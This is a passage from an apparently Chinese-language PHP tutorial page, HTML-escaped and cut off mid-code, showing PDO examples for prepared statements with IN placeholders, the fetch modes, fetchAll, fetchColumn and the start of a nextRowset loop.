171);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php comments\">\/* Create a string for the parameter placeholders filled to the number of params *\/<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php variable\">$place_holders<\/code> <code class=\"php plain\">= implode(<\/code><code class=\"php string\">','<\/code><code class=\"php plain\">, <\/code><code class=\"php functions\">array_fill<\/code><code class=\"php plain\">(0, <\/code><code class=\"php functions\">count<\/code><code class=\"php plain\">(<\/code><code class=\"php variable\">$params<\/code><code class=\"php plain\">), <\/code><code class=\"php string\">'?'<\/code><code class=\"php plain\">));<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">This prepares the statement with enough unnamed placeholders for every value<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">in our $params array. The values of the $params array are then bound to the<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">placeholders in the prepared statement when the statement is executed.<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">This is not the same thing as using PDOStatement::bindParam() since this<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">requires a reference to the variable. PDOStatement::execute() only binds<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">by value instead.<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php comments\">*\/<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"SELECT id, name FROM contacts WHERE id IN ($place_holders)\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute(<\/code><code class=\"php variable\">$params<\/code><code class=\"php plain\">);<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::fetch<\/div>\n<div>\u6a21\u5f0f<\/div>\n<ol>\n<li>PDO::FETCH_ASSOC<\/li>\n<li>PDO::FETCH_BOTH<\/li>\n<li>PDO::FETCH_BOUND<\/li>\n<li>PDO::FETCH_CLASS<\/li>\n<li>PDO::FETCH_INTO<\/li>\n<li>PDO::FETCH_LAZY<\/li>\n<li>PDO::FETCH_NUM<\/li>\n<li>PDO::FETCH_OBJ<\/li>\n<\/ol>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u6bd4\u8f03<\/div>\n<div>\n<div>\n<div id=\"highlighter_411845\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<div class=\"line number21 index20 alt2\">21<\/div>\n<div class=\"line number22 index21 alt1\">22<\/div>\n<div class=\"line number23 index22 alt2\">23<\/div>\n<div class=\"line number24 index23 alt1\">24<\/div>\n<div class=\"line number25 index24 alt2\">25<\/div>\n<div class=\"line number26 index25 alt1\">26<\/div>\n<div class=\"line number27 index26 alt2\">27<\/div>\n<div class=\"line number28 index27 alt1\">28<\/div>\n<div class=\"line number29 index28 alt2\">29<\/div>\n<div class=\"line number30 index29 alt1\">30<\/div>\n<div class=\"line number31 index30 alt2\">31<\/div>\n<div class=\"line number32 index31 alt1\">32<\/div>\n<div class=\"line number33 index32 alt2\">33<\/div>\n<div class=\"line number34 index33 alt1\">34<\/div>\n<div class=\"line number35 index34 alt2\">35<\/div>\n<div class=\"line number36 index35 alt1\">36<\/div>\n<div class=\"line number37 index36 alt2\">37<\/div>\n<div class=\"line number38 index37 alt1\">38<\/div>\n<div class=\"line number39 index38 alt2\">39<\/div>\n<div class=\"line number40 index39 alt1\">40<\/div>\n<div class=\"line number41 index40 alt2\">41<\/div>\n<div class=\"line number42 index41 alt1\">42<\/div>\n<div class=\"line number43 index42 alt2\">43<\/div>\n<div class=\"line number44 index43 alt1\">44<\/div>\n<div class=\"line number45 index44 alt2\">45<\/div>\n<div class=\"line number46 index45 alt1\">46<\/div>\n<div class=\"line number47 index46 alt2\">47<\/div>\n<div class=\"line number48 index47 alt1\">48<\/div>\n<div class=\"line number49 index48 alt2\">49<\/div>\n<div class=\"line number50 index49 alt1\">50<\/div>\n<div class=\"line number51 index50 alt2\">51<\/div>\n<div class=\"line number52 index51 alt1\">52<\/div>\n<div class=\"line number53 index52 alt2\">53<\/div>\n<div class=\"line number54 index53 alt1\">54<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"SELECT name, colour FROM fruit\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php comments\">\/* \u4f7f\u7528 PDOStatement::fetch \u98a8\u683c *\/<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"PDO::FETCH_ASSOC: \"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Return next row as an array indexed by column name\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php variable\">$result<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetch(PDO::FETCH_ASSOC);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php plain\">print_r(<\/code><code class=\"php variable\">$result<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"PDO::FETCH_BOTH: \"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Return next row as an array indexed by both column name and number\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php variable\">$result<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetch(PDO::FETCH_BOTH);<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php plain\">print_r(<\/code><code class=\"php variable\">$result<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"PDO::FETCH_LAZY: \"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Return next row as an anonymous object with column names as properties\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php variable\">$result<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetch(PDO::FETCH_LAZY);<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php plain\">print_r(<\/code><code class=\"php variable\">$result<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number22 index21 alt1\"><\/div>\n<div class=\"line number23 index22 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"PDO::FETCH_OBJ: \"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number24 index23 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Return next row as an anonymous object with column names as properties\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number25 index24 alt2\"><code class=\"php variable\">$result<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetch(PDO::FETCH_OBJ);<\/code><\/div>\n<div class=\"line number26 index25 alt1\"><code class=\"php functions\">print<\/code> <code class=\"php variable\">$result<\/code><code class=\"php plain\">-&gt;NAME;<\/code><\/div>\n<div class=\"line number27 index26 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number28 index27 alt1\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number29 index28 alt2\"><code class=\"php comments\">PDO::FETCH_ASSOC: Return next row as an array indexed by column name<\/code><\/div>\n<div class=\"line number30 index29 alt1\"><code class=\"php comments\">Array<\/code><\/div>\n<div class=\"line number31 index30 alt2\"><code class=\"php comments\">(<\/code><\/div>\n<div class=\"line number32 index31 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[name] =&gt; apple<\/code><\/div>\n<div class=\"line number33 index32 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[colour] =&gt; red<\/code><\/div>\n<div class=\"line number34 index33 alt1\"><code class=\"php comments\">)<\/code><\/div>\n<div class=\"line number35 index34 alt2\"><\/div>\n<div class=\"line number36 index35 alt1\"><code class=\"php comments\">PDO::FETCH_BOTH: Return next row as an array indexed by both column name and number<\/code><\/div>\n<div class=\"line number37 index36 alt2\"><code class=\"php comments\">Array<\/code><\/div>\n<div class=\"line number38 index37 alt1\"><code class=\"php comments\">(<\/code><\/div>\n<div class=\"line number39 index38 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[name] =&gt; banana<\/code><\/div>\n<div class=\"line number40 index39 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[0] =&gt; banana<\/code><\/div>\n<div class=\"line number41 index40 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[colour] =&gt; yellow<\/code><\/div>\n<div class=\"line number42 index41 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[1] =&gt; yellow<\/code><\/div>\n<div class=\"line number43 index42 alt2\"><code class=\"php comments\">)<\/code><\/div>\n<div class=\"line number44 index43 alt1\"><\/div>\n<div class=\"line number45 index44 alt2\"><code class=\"php comments\">PDO::FETCH_LAZY: Return next row as an anonymous object with column names as properties<\/code><\/div>\n<div class=\"line number46 index45 alt1\"><code class=\"php comments\">PDORow Object<\/code><\/div>\n<div class=\"line number47 index46 alt2\"><code class=\"php comments\">(<\/code><\/div>\n<div class=\"line number48 index47 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[name] =&gt; orange<\/code><\/div>\n<div class=\"line number49 index48 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[colour] =&gt; orange<\/code><\/div>\n<div class=\"line number50 index49 alt1\"><code class=\"php comments\">)<\/code><\/div>\n<div class=\"line number51 index50 alt2\"><\/div>\n<div class=\"line number52 index51 alt1\"><code class=\"php comments\">PDO::FETCH_OBJ: Return next row as an anonymous object with column names as properties<\/code><\/div>\n<div class=\"line number53 index52 alt2\"><code class=\"php comments\">kiwi<\/code><\/div>\n<div class=\"line number54 index53 alt1\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::fetchAll<\/div>\n<div>\u53d6\u5f97\u6240\u6709\u7684\u8cc7\u6599<\/div>\n<div>\n<div>\n<div id=\"highlighter_487682\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<div class=\"line number21 index20 alt2\">21<\/div>\n<div class=\"line number22 index21 alt1\">22<\/div>\n<div class=\"line number23 index22 alt2\">23<\/div>\n<div class=\"line number24 index23 alt1\">24<\/div>\n<div class=\"line number25 index24 alt2\">25<\/div>\n<div class=\"line number26 index25 alt1\">26<\/div>\n<div class=\"line number27 index26 alt2\">27<\/div>\n<div class=\"line number28 index27 alt1\">28<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"SELECT name, colour FROM fruit\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php comments\">\/* Fetch all of the remaining rows in the result set *\/<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Fetch all of the remaining rows in the result set:\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php variable\">$result<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetchAll();<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php plain\">print_r(<\/code><code class=\"php variable\">$result<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php comments\">Array<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php comments\">(<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[0] =&gt; Array<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">(<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[name] =&gt; pear<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[0] =&gt; pear<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[colour] =&gt; green<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[1] =&gt; green<\/code><\/div>\n<div class=\"line number17 index16 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">)<\/code><\/div>\n<div class=\"line number18 index17 alt1\"><\/div>\n<div class=\"line number19 index18 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[1] =&gt; Array<\/code><\/div>\n<div class=\"line number20 index19 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">(<\/code><\/div>\n<div class=\"line number21 index20 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[name] =&gt; watermelon<\/code><\/div>\n<div class=\"line number22 index21 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[0] =&gt; watermelon<\/code><\/div>\n<div class=\"line number23 index22 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[colour] =&gt; pink<\/code><\/div>\n<div class=\"line number24 index23 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">[1] =&gt; pink<\/code><\/div>\n<div class=\"line number25 index24 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php comments\">)<\/code><\/div>\n<div class=\"line number26 index25 alt1\"><\/div>\n<div class=\"line number27 index26 alt2\"><code class=\"php comments\">)<\/code><\/div>\n<div class=\"line number28 index27 alt1\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div><\/div>\n<div>fetch \u8207 fetchAll \u5dee\u7570<\/div>\n<div>\u6293\u53d6\u55ae\u7b46\u8cc7\u6599\u7528fetch \u591a\u7b46\u4f7f\u7528fetchAll<\/div>\n<div>\u53c3\u8003\u8cc7\u6599\uff1a<a href=\"http:\/\/www.84kure.com\/blog\/2015\/09\/25\/php-pdo%E3%81%A7%E3%82%AF%E3%83%A9%E3%82%B9%E3%82%92%E3%83%95%E3%82%A7%E3%83%83%E3%83%81%E3%81%99%E3%82%8B%E5%A0%B4%E5%90%88%E3%81%AEfetch%E3%81%A8fetchall%E3%81%AE%E6%8C%99%E5%8B%95\/\">http:\/\/www.84kure.com\/blog\/2015\/09\/25\/php-pdo%E3%81%A7%E3%82%AF%E3%83%A9%E3%82%B9%E3%82%92%E3%83%95%E3%82%A7%E3%83%83%E3%83%81%E3%81%99%E3%82%8B%E5%A0%B4%E5%90%88%E3%81%AEfetch%E3%81%A8fetchall%E3%81%AE%E6%8C%99%E5%8B%95\/<\/a><\/div>\n<div><\/div>\n<div>PDOStatement::fetchColumn<\/div>\n<div>\u53d6\u5f97\u6b04\u4f4d\u540d\u7a31<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7bc4\u4f8b<\/div>\n<div>\n<div>\n<div id=\"highlighter_527452\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$sth<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$dbh<\/code><code class=\"php plain\">-&gt;prepare(<\/code><code class=\"php string\">\"SELECT name, colour FROM fruit\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;execute();<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Fetch the first column from the first row in the result set:\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php variable\">$result<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetchColumn();<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"name = $result\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"Fetch the second column from the second row in the result set:\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number9 index8 alt2\"><code class=\"php variable\">$result<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$sth<\/code><code class=\"php plain\">-&gt;fetchColumn(1);<\/code><\/div>\n<div class=\"line number10 index9 alt1\"><code class=\"php functions\">print<\/code><code class=\"php plain\">(<\/code><code class=\"php string\">\"colour = $result\\n\"<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number11 index10 alt2\"><code class=\"php comments\">\/*<\/code><\/div>\n<div class=\"line number12 index11 alt1\"><code class=\"php comments\">Fetch the first column from the first row in the result set:<\/code><\/div>\n<div class=\"line number13 index12 alt2\"><code class=\"php comments\">name = lemon<\/code><\/div>\n<div class=\"line number14 index13 alt1\"><code class=\"php comments\">Fetch the second column from the second row in the result set:<\/code><\/div>\n<div class=\"line number15 index14 alt2\"><code class=\"php comments\">colour = red<\/code><\/div>\n<div class=\"line number16 index15 alt1\"><code class=\"php comments\">*\/<\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>PDOStatement::nextRowset<\/div>\n<div>advances to the next rowset in a multi-rowset statement handle<\/div>\n<div>\u4e00\u500b\u7c21\u55ae\u7684\u7528\u9014<\/div>\n<div>\n<div>\n<div id=\"highlighter_154648\" class=\"syntaxhighlighter  php\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td class=\"gutter\">\n<div class=\"line number1 index0 alt2\">1<\/div>\n<div class=\"line number2 index1 alt1\">2<\/div>\n<div class=\"line number3 index2 alt2\">3<\/div>\n<div class=\"line number4 index3 alt1\">4<\/div>\n<div class=\"line number5 index4 alt2\">5<\/div>\n<div class=\"line number6 index5 alt1\">6<\/div>\n<div class=\"line number7 index6 alt2\">7<\/div>\n<div class=\"line number8 index7 alt1\">8<\/div>\n<div class=\"line number9 index8 alt2\">9<\/div>\n<div class=\"line number10 index9 alt1\">10<\/div>\n<div class=\"line number11 index10 alt2\">11<\/div>\n<div class=\"line number12 index11 alt1\">12<\/div>\n<div class=\"line number13 index12 alt2\">13<\/div>\n<div class=\"line number14 index13 alt1\">14<\/div>\n<div class=\"line number15 index14 alt2\">15<\/div>\n<div class=\"line number16 index15 alt1\">16<\/div>\n<div class=\"line number17 index16 alt2\">17<\/div>\n<div class=\"line number18 index17 alt1\">18<\/div>\n<div class=\"line number19 index18 alt2\">19<\/div>\n<div class=\"line number20 index19 alt1\">20<\/div>\n<div class=\"line number21 index20 alt2\">21<\/div>\n<div class=\"line number22 index21 alt1\">22<\/div>\n<div class=\"line number23 index22 alt2\">23<\/div>\n<div class=\"line number24 index23 alt1\">24<\/div>\n<div class=\"line number25 index24 alt2\">25<\/div>\n<div class=\"line number26 index25 alt1\">26<\/div>\n<div class=\"line number27 index26 alt2\">27<\/div>\n<div class=\"line number28 index27 alt1\">28<\/div>\n<div class=\"line number29 index28 alt2\">29<\/div>\n<div class=\"line number30 index29 alt1\">30<\/div>\n<div class=\"line number31 index30 alt2\">31<\/div>\n<div class=\"line number32 index31 alt1\">32<\/div>\n<div class=\"line number33 index32 alt2\">33<\/div>\n<div class=\"line number34 index33 alt1\">34<\/div>\n<div class=\"line number35 index34 alt2\">35<\/div>\n<\/td>\n<td class=\"code\">\n<div class=\"container\">\n<div class=\"line number1 index0 alt2\"><code class=\"php variable\">$sql<\/code> <code class=\"php plain\">= <\/code><code class=\"php string\">'CALL multiple_rowsets()'<\/code><code class=\"php plain\">;<\/code><\/div>\n<div class=\"line number2 index1 alt1\"><code class=\"php variable\">$stmt<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$conn<\/code><code class=\"php plain\">-&gt;query(<\/code><code class=\"php variable\">$sql<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number3 index2 alt2\"><code class=\"php variable\">$i<\/code> <code class=\"php plain\">= 1;<\/code><\/div>\n<div class=\"line number4 index3 alt1\"><code class=\"php keyword\">do<\/code> <code class=\"php plain\">{<\/code><\/div>\n<div class=\"line number5 index4 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php variable\">$rowset<\/code> <code class=\"php plain\">= <\/code><code class=\"php variable\">$stmt<\/code><code class=\"php plain\">-&gt;fetchAll(PDO::FETCH_NUM);<\/code><\/div>\n<div class=\"line number6 index5 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php keyword\">if<\/code> <code class=\"php plain\">(<\/code><code class=\"php variable\">$rowset<\/code><code class=\"php plain\">) {<\/code><\/div>\n<div class=\"line number7 index6 alt2\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"php plain\">printResultSet(<\/code><code class=\"php variable\">$rowset<\/code><code class=\"php plain\">, <\/code><code class=\"php variable\">$i<\/code><code class=\"php plain\">);<\/code><\/div>\n<div class=\"line number8 index7 alt1\"><code class=\"php spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code 